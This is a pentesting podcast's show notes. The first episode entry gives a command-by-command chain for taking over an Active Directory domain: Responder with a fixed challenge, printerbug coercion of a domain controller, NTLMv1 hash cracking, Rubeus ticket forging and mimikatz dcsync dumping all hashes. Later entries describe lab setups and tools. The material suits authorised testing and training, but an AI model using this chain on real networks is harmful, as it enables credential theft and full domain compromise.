7MS: #559: Tales of Pentest Pwnage - Part 46

Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood):

Change the Responder.conf file like so:

; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788

Run Responder with --disable-ess flag

sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess

Use printerbug to coax authentication from a domain controller:

sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX

Convert hash to make it easier to crack!

sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER

Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds!

Now you can do a Rubeus asktgt with the DC hash:

rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap

Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!!

rubeus.exe ptt /ticket:TICKET GOES HERE

Use mimikatz to dump all hashes!

mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

7MS #662: Pentesting Potatoes - Part 2

Hi friends, today we're talking about pentesting potatoes (not really, but this episode is sort of a homage to episode 333 where I went to Boise to do a controls assessment and ended up doing an impromptu physical pentest and social engineer exercise).  I talk about what a blast I'm having hunting APTs in XINTRA LABS, and two cool tools I'm building with the help of Cursor: A wrapper for Netexec that quickly finds roastable users, machines without SMB signing, clients running Webclient and more. A sifter of Snaffler-captured files to zero in even closer on interesting things such as usernames and passwords in clear text.

7MS #661: Baby’s First Hetzner and Ludus – Part 2

Today we continue our journey from last week where we spun up a Hetzner cloud server and Ludus.cloud SCCM pentesting range!  Topics include: Building a Proxmox Backup Server (this YouTube video was super helpful) Bridging a second WAN IP to the Hetzner/Ludus server Wrestling with the Hetzner (10-rule limit!) software firewall When attacking SCCM – you can get a version of pxethief that runs in Linux!

7MS #660: Baby's First Hetzner and Ludus

I had an absolute ball this week spinning up my first Hetzner server, though it was not without some drama (firewall config frustrations and failing hard drives).  Once I got past that, though, I got my first taste of the amazing world of Ludus.cloud, where I spun up a vulnerable Microsoft SCCM lab and have started to pwn it.  Can’t say enough good things about Ludus.cloud, but I certainly tried in this episode!
